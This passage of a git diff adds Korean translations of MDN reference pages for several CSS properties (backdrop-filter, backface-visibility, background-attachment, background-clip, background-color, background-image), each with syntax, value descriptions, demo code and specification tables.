+ - Reference
+ - SVG
+ - SVG Filter
+ - Web
+ - 'recipe:css-property'
+translation_of: Web/CSS/backdrop-filter
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>backdrop-filter</code></strong>는 요소 뒤 영역에 흐림이나 색상 시프트 등 그래픽 효과를 적용할 수 있는 속성입니다.</span> 요소 "뒤"에 적용하기 때문에, 효과를 확인하려면 요소나 요소의 배경을 적어도 반투명하게는 설정해야 합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+backdrop-filter: none;
+
+/* SVG 필터를 가리키는 URL */
+backdrop-filter: url(commonfilters.svg#filter);
+
+/* &lt;filter-function&gt; 값 */
+backdrop-filter: blur(2px);
+backdrop-filter: brightness(60%);
+backdrop-filter: contrast(40%);
+backdrop-filter: drop-shadow(4px 4px 10px blue);
+backdrop-filter: grayscale(30%);
+backdrop-filter: hue-rotate(120deg);
+backdrop-filter: invert(70%);
+backdrop-filter: opacity(20%);
+backdrop-filter: sepia(90%);
+backdrop-filter: saturate(80%);
+
+/* 다중 필터 */
+backdrop-filter: url(filters.svg#filter) blur(4px) saturate(150%);
+
+/* 전역 값 */
+backdrop-filter: inherit;
+backdrop-filter: initial;
+backdrop-filter: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>뒤에 아무런 필터도 적용하지 않습니다.</dd>
+ <dt><code>&lt;filter-function-list&gt;</code></dt>
+ <dd>뒤에 적용할 {{cssxref("&lt;filter-function&gt;")}} 또는 <a href="/en-US/docs/Web/SVG/Element/filter">SVG필터</a>의 공백 구분 목록입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">.box {
+ background-color: rgba(255, 255, 255, 0.3);
+ border-radius: 5px;
+ font-family: sans-serif;
+ text-align: center;
+ line-height: 1;
+ -webkit-backdrop-filter: blur(10px);
+ backdrop-filter: blur(10px);
+ max-width: 50%;
+ max-height: 50%;
+ padding: 20px 40px;
+}
+
+html,
+body {
+ height: 100%;
+ width: 100%;
+}
+
+body {
+ background-image: url(https://picsum.photos/id/1080/6858/4574), linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172));
+ background-position: center center;
+ background-repeat: no-repeat;
+ background-size: cover;
+}
+
+.container {
+ align-items: center;
+ display: flex;
+ justify-content: center;
+ height: 100%;
+ width: 100%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+ &lt;div class="box"&gt;
+ &lt;p&gt;backdrop-filter: blur(10px)&lt;/p&gt;
+ &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 600, 400)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Filters 2.0', '#BackdropFilterProperty', 'backdrop-filter')}}</td>
+ <td>{{Spec2('Filters 2.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.backdrop-filter")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("filter")}}</li>
+</ul>
diff --git a/files/ko/web/css/backface-visibility/index.html b/files/ko/web/css/backface-visibility/index.html
new file mode 100644
index 0000000000..49c365e5f9
--- /dev/null
+++ b/files/ko/web/css/backface-visibility/index.html
@@ -0,0 +1,217 @@
+---
+title: backface-visibility
+slug: Web/CSS/backface-visibility
+tags:
+ - CSS
+ - CSS Property
+ - CSS Transforms
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/backface-visibility
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>backface-visibility</code></strong> 속성은 요소의 뒷면이 사용자를 향할 때 보여야 하는지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/backface-visibility.html")}}</div>
+
+
+
+<p>요소의 뒷면은 앞면의 거울상입니다. 2D 상태에서는 볼 수 없지만 변형을 통해 3D 공간에서 회전되면 노출될 수 있습니다. (2D 변형에는 원근이 없으므로 효과가 없습니다.)</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+backface-visibility: visible;
+backface-visibility: hidden;
+
+/* 전역 값 */
+backface-visibility: inherit;
+backface-visibility: initial;
+backface-visibility: unset;</pre>
+
+<p><code>backface-visibility</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>뒷면이 사용자를 향하면 보입니다.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>뒷면이 사용자를 향해도 보이지 않습니다. 요소가 뒤를 향하면 사용자로부터 숨기는 것과 같습니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="육면체의_뒷면_비교">육면체의 뒷면 비교</h3>
+
+<p>아래 예제는 투명한 뒷면의 육면체와 불투명한 뒷면의 육면체를 하나씩 보입니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+ &lt;tr&gt;
+ &lt;th&gt;&lt;code&gt;backface-visibility: visible;&lt;/code&gt;&lt;/th&gt;
+ &lt;th&gt;&lt;code&gt;backface-visibility: hidden;&lt;/code&gt;&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;
+ &lt;div class="container"&gt;
+ &lt;div class="cube showbf"&gt;
+ &lt;div class="face front"&gt;1&lt;/div&gt;
+ &lt;div class="face back"&gt;2&lt;/div&gt;
+ &lt;div class="face right"&gt;3&lt;/div&gt;
+ &lt;div class="face left"&gt;4&lt;/div&gt;
+ &lt;div class="face top"&gt;5&lt;/div&gt;
+ &lt;div class="face bottom"&gt;6&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;p&gt;
+ Since all faces are partially transparent,
+ the back faces (2, 4, 5) are visible
+ through the front faces (1, 3, 6).
+ &lt;/p&gt;
+ &lt;/td&gt;
+ &lt;td&gt;
+ &lt;div class="container"&gt;
+ &lt;div class="cube hidebf"&gt;
+ &lt;div class="face front"&gt;1&lt;/div&gt;
+ &lt;div class="face back"&gt;2&lt;/div&gt;
+ &lt;div class="face right"&gt;3&lt;/div&gt;
+ &lt;div class="face left"&gt;4&lt;/div&gt;
+ &lt;div class="face top"&gt;5&lt;/div&gt;
+ &lt;div class="face bottom"&gt;6&lt;/div&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;
+ &lt;p&gt;
+ The three back faces (2, 4, 5) are
+ hidden.
+ &lt;/p&gt;
+ &lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">/* Classes that will show or hide the
+ three back faces of the "cube" */
+.showbf div {
+ backface-visibility: visible;
+}
+
+.hidebf div {
+ backface-visibility: hidden;
+}
+
+/* Define the container div, the cube div, and a generic face */
+.container {
+ width: 150px;
+ height: 150px;
+ margin: 75px 0 0 75px;
+ border: none;
+}
+
+.cube {
+ width: 100%;
+ height: 100%;
+ perspective: 550px;
+ perspective-origin: 150% 150%;
+ transform-style: preserve-3d;
+}
+
+.face {
+ display: block;
+ position: absolute;
+ width: 100px;
+ height: 100px;
+ border: none;
+ line-height: 100px;
+ font-family: sans-serif;
+ font-size: 60px;
+ color: white;
+ text-align: center;
+}
+
+/* Define each face based on direction */
+.front {
+ background: rgba(0, 0, 0, 0.3);
+ transform: translateZ(50px);
+}
+
+.back {
+ background: rgba(0, 255, 0, 1);
+ color: black;
+ transform: rotateY(180deg) translateZ(50px);
+}
+
+.right {
+ background: rgba(196, 0, 0, 0.7);
+ transform: rotateY(90deg) translateZ(50px);
+}
+
+.left {
+ background: rgba(0, 0, 196, 0.7);
+ transform: rotateY(-90deg) translateZ(50px);
+}
+
+.top {
+ background: rgba(196, 196, 0, 0.7);
+ transform: rotateX(90deg) translateZ(50px);
+}
+
+.bottom {
+ background: rgba(196, 0, 196, 0.7);
+ transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Make the table a little nicer */
+th, p, td {
+ background-color: #EEEEEE;
+ margin: 0px;
+ padding: 6px;
+ font-family: sans-serif;
+ text-align: left;
+}</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('육면체의_뒷면_비교', '100%', 360)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS Transforms 2', '#propdef-backface-visibility', 'backface-visibility')}}</td>
+ <td>{{Spec2('CSS Transforms 2')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.backface-visibility")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">CSS 변형 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-attachment/index.html b/files/ko/web/css/background-attachment/index.html
new file mode 100644
index 0000000000..a72fce431f
--- /dev/null
+++ b/files/ko/web/css/background-attachment/index.html
@@ -0,0 +1,153 @@
+---
+title: background-attachment
+slug: Web/CSS/background-attachment
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/background-attachment
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/CSS">CSS</a> <strong><code>background-attachment</code></strong> 속성은 배경 이미지를 {{glossary("viewport", "뷰포트")}} 내에서 고정할지, 아니면 자신의 컨테이닝 블록과 함께 스크롤할지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-attachment.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* 키워드 값 */
+background-attachment: scroll;
+background-attachment: fixed;
+background-attachment: local;
+
+/* 전역 값 */
+background-attachment: inherit;
+background-attachment: initial;
+background-attachment: unset;
+</pre>
+
+<p><code>background-attachment</code> 속성은 다음 목록의 키워드 중 하나를 선택해 지정할 수 있습니다.</p>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>fixed</code></dt>
+ <dd>배경을 뷰포트에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 이 값은 {{cssxref("background-clip", "background-clip: text", "#text")}}와 호환되지 않습니다.</dd>
+ <dt><code>local</code></dt>
+ <dd>배경을 요소 콘텐츠에 대해 고정합니다. 요소에 스크롤이 존재하면 배경은 콘텐츠와 함께 스크롤됩니다. 배경 페인트 영역과 배경 위치 영역은 테두리 틀이 아닌 스크롤 가능 영역을 기준점으로 삼습니다.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>배경을 요소 자체에 대해 고정합니다. 요소에 스크롤이 존재해도 배경은 함께 스크롤되지 않습니다. 즉 요소의 테두리에 배경 이미지를 부착한 것과 같은 효과입니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+ There were doors all round the hall, but they were all locked; and when
+ Alice had been all the way down one side and up the other, trying every
+ door, she walked sadly down the middle, wondering how she was ever to
+ get out again.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+ background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
+ background-attachment: fixed;
+}
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("간단한_예제")}}</p>
+
+<h3 id="다중_배경_이미지">다중 배경 이미지</h3>
+
+<p><code>background-attachment</code>는 다중 배경 이미지를 지원합니다. 각 배경에 대해 <code>&lt;attachment&gt;</code>를 지정하려면 쉼표로 구분하여 다수의 값을 제공하세요. 주어진 순서대로 배경에 적용합니다.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;p&gt;
+ There were doors all round the hall, but they were all locked; and when
+ Alice had been all the way down one side and up the other, trying every
+ door, she walked sadly down the middle, wondering how she was ever to
+ get out again.
+
+ Suddenly she came upon a little three-legged table, all made of solid
+ glass; there was nothing on it except a tiny golden key, and Alice's
+ first thought was that it might belong to one of the doors of the hall;
+ but, alas! either the locks were too large, or the key was too small,
+ but at any rate it would not open any of them. However, on the second
+ time round, she came upon a low curtain she had not noticed before, and
+ behind it was a little door about fifteen inches high: she tried the
+ little golden key in the lock, and to her great delight it fitted!
+&lt;/p&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush:css; highlight:[3]; notranslate">p {
+ background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"),
+ url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
+ background-attachment: fixed, scroll;
+ background-repeat: no-repeat, repeat-y;
+}</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{EmbedLiveSample("다중_배경_이미지")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-attachment', 'background-attachment')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>The shorthand property has been extended to support multiple backgrounds and the <code>local</code> value.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-attachment', 'background-attachment')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#background-attachment', 'background-attachment')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>No significant change.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-attachment")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-clip/index.html b/files/ko/web/css/background-clip/index.html
new file mode 100644
index 0000000000..07d3676b80
--- /dev/null
+++ b/files/ko/web/css/background-clip/index.html
@@ -0,0 +1,129 @@
+---
+title: background-clip
+slug: Web/CSS/background-clip
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+ - 'recipe:css-property'
+translation_of: Web/CSS/background-clip
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-clip</code></strong> 속성은 요소의 배경이 테두리, 안쪽 여백, 콘텐츠 상자 중 어디까지 차지할 지 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-clip.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>요소가 {{cssxref("background-image")}} 또는 {{cssxref("background-color")}}를 가지지 않으면, <code>background-clip</code>은 ({{cssxref("border-style")}} 또는 {{cssxref("border-image")}} 등으로 인해) 테두리에 투명하거나 반투명한 부분이 존재하는 경우에만 시각적 차이가 발생합니다. 그렇지 않은 경우 테두리가 차이점을 가립니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* 전역 값 */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+</pre>
+
+<h3 class="brush: css" id="값">값</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>배경이 테두리의 바깥 경계까지 차지합니다. (Z축 순서 상 테두리 아래 위치)</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>배경이 안쪽 여백의 바깥 경계까지 차지합니다. 테두리 밑에는 배경을 그리지 않습니다.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>배경을 콘텐츠 상자에 맞춰 그립니다.</dd>
+ <dt><code id="text">text</code> {{experimental_inline}}</dt>
+ <dd>배경을 전경 텍스트 위에만 그립니다.</dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p class="border-box"&gt;The background extends behind the border.&lt;/p&gt;
+&lt;p class="padding-box"&gt;The background extends to the inside edge of the border.&lt;/p&gt;
+&lt;p class="content-box"&gt;The background extends only to the edge of the content box.&lt;/p&gt;
+&lt;p class="text"&gt;The background is clipped to the foreground text.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css notranslate">p {
+ border: .8em darkviolet;
+ border-style: dotted double;
+ margin: 1em 0;
+ padding: 1.4em;
+ background: linear-gradient(60deg, red, yellow, red, yellow, red);
+ font: 900 1.2em sans-serif;
+ text-decoration: underline;
+}
+
+.border-box { background-clip: border-box; }
+.padding-box { background-clip: padding-box; }
+.content-box { background-clip: content-box; }
+
+.text {
+ background-clip: text;
+ -webkit-background-clip: text;
+ color: rgba(0,0,0,.2);
+}</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제', 600, 580)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}</td>
+ <td>{{Spec2('CSS3 Backgrounds')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}</td>
+ <td>{{Spec2('CSS4 Backgrounds')}}</td>
+ <td>Add <code>text</code> value.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-clip")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("clip-path")}} 속성은 배경 뿐 아니라 하나의 <u>요소 전체</u>에서 표시할 부분을 지정하는 클리핑 영역을 생성합니다.</li>
+ <li>배경 속성: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">CSS 기본 박스 모델 입문</a></li>
+</ul>
diff --git a/files/ko/web/css/background-color/index.html b/files/ko/web/css/background-color/index.html
new file mode 100644
index 0000000000..d0e7402d56
--- /dev/null
+++ b/files/ko/web/css/background-color/index.html
@@ -0,0 +1,169 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Graphics
+ - HTML Colors
+ - HTML Styles
+ - Layout
+ - Reference
+ - Styles
+ - Styling HTML
+translation_of: Web/CSS/background-color
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en/CSS" title="CSS">CSS</a> <strong><code>background-color</code></strong> 속성은 요소의 배경 색을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-color.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: css notranslate">/* 키워드 값 */
+background-color: red;
+background-color: indigo;
+
+/* 16진수 값 */
+background-color: #bbff00; /* 완전 불투명 */
+background-color: #bf0; /* 완전 불투명 단축 */
+background-color: #11ffee00; /* 완전 투명 */
+background-color: #1fe0; /* 완전 투명 단축 */
+background-color: #11ffeeff; /* 완전 불투명 */
+background-color: #1fef; /* 완전 불투명 단축 */
+
+/* RGB 값 */
+background-color: rgb(255, 255, 128); /* 완전 불투명 */
+background-color: rgba(117, 190, 218, 0.5); /* 50% 불투명도 */
+
+/* HSL 값 */
+background-color: hsl(50, 33%, 25%); /* 완전 불투명 */
+background-color: hsla(50, 33%, 25%, 0.75); /* 75% 불투명도 */
+
+/* 특별 키워드 값 */
+background-color: currentcolor;
+background-color: transparent;
+
+/* 전역 값 */
+background-color: inherit;
+background-color: initial;
+background-color: unset;</pre>
+
+<p><code>background-color</code> 속성은 하나의 {{cssxref("&lt;color&gt;")}} 값을 사용해 지정합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>요소의 배경으로 사용할 단일 색상입니다. {{cssxref("background-image")}} 뒤에 렌더링 되므로, 이미지가 투명한 부분을 가지고 있으면 그 곳을 통해 볼 수 있습니다.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p>낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.</p>
+
+<p>색상 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 <a href="https://www.w3.org/WAI/standards-guidelines/wcag/" rel="noopener">웹 콘텐츠 접근성 가이드라인</a>(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 <a href="/ko/docs/Web/CSS/font-weight">굵은</a> 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}
+</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div class="exampleone"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exampletwo"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="examplethree"&gt;
+ Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight:[2,7,12,17]; notranslate">.exampleone {
+ background-color: teal;
+ color: white;
+}
+
+.exampletwo {
+ background-color: rgb(153,102,153);
+ color: rgb(255,255,204);
+}
+
+.examplethree {
+ background-color: #777799;
+ color: #FFFFFF;
+}
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제","200","150")}}</p>
+
+<ul>
+</ul>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">주석</th>
+ <th scope="col">피드백</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('CSS3 Backgrounds', '#background-color', 'background-color') }}</td>
+ <td>Though technically removing the <code>transparent</code> keyword, this doesn't change anything as it has been incorporated as a true {{cssxref("&lt;color&gt;")}}</td>
+ <td><a href="https://github.com/w3c/csswg-drafts/labels/css-backgrounds-3">Backgrounds Level 3 GitHub issues</a></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color') }}</td>
+ <td>No change.</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{ SpecName('CSS1', '#background-color', 'background-color') }}</td>
+ <td></td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.background-color")}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">더 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">한 번에 여러 배경 사용하기</a></li>
+ <li>{{cssxref("&lt;color&gt;")}} 자료형</li>
+ <li>색상 관련 다른 속성: {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, and {{cssxref("column-rule-color")}}</li>
+ <li><a href="/ko/docs/Web/HTML/Applying_color">CSS로 HTML 요소에 색입히기</a></li>
+</ul>
diff --git a/files/ko/web/css/background-image/index.html b/files/ko/web/css/background-image/index.html
new file mode 100644
index 0000000000..0fce6c9b93
--- /dev/null
+++ b/files/ko/web/css/background-image/index.html
@@ -0,0 +1,152 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+ - CSS
+ - CSS Background
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/background-image
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>background-image</code></strong> 속성은 요소의 배경 이미지를 한 개나 여러 개 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-image.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<p>여러 개의 배경 이미지는 쌓임 맥락에 따라 서로의 위에 놓입니다. 맨 처음 지정한 이미지가 제일 위에(사용자에게 제일 가까운 것 처럼) 위치합니다.</p>
+
+<p><a href="/ko/docs/Web/CSS/border">테두리</a>는 배경 이미지 위에, {{cssxref("background-color")}}는 밑에 그려집니다. 요소 박스와 테두리에 관련하여 배경 이미지를 어떻게 그릴지는 {{cssxref("background-clip")}}과 {{cssxref("background-origin")}} CSS 속성이 정의합니다.</p>
+
+<p>브라우저는 값에 유효하지 않은 URI를 지정하는 등 주어진 이미지를 그릴 수 없을 때 <code>none</code> 키워드를 사용한 것처럼 처리합니다.</p>
+
+<div class="note"><strong>참고:</strong> 지정한 이미지가 불투명해서 아래의 배경색을 볼 수 없더라도 {{cssxref("background-color")}}는 지정해야 합니다. 네트워크가 내려가는 등 이미지를 불러올 수 없는 상황에서 배경 색이 대체할 수 있기 때문입니다,</div>
+
+<h2 id="구문">구문</h2>
+
+<p>각각의 배경 이미지는 <code>{{anch("none")}}</code> 키워드나 {{cssxref("&lt;image&gt;")}} 값으로 지정할 수 있습니다.</p>
+
+<p>여러 개의 배경 이미지를 지정하려면 쉼표로 구분한 다수의 값을 지정하세요.</p>
+
+<pre class="brush: css notranslate">background-image:
+ linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
+ url('https://mdn.mozillademos.org/files/7693/catfront.png');</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><a id="none" name="none"><code>none</code></a></dt>
+ <dd>배경 이미지의 부재를 나타내는 키워드입니다.</dd>
+ <dt>{{cssxref("&lt;image&gt;")}}</dt>
+ <dd>배경으로 사용할 이미지입니다. <a href="/ko/docs/Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds">여러 개의 배경 이미지</a>를 사용할 땐 쉼표로 구분한 다수의 값을 지정하세요.</dd>
+</dl>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
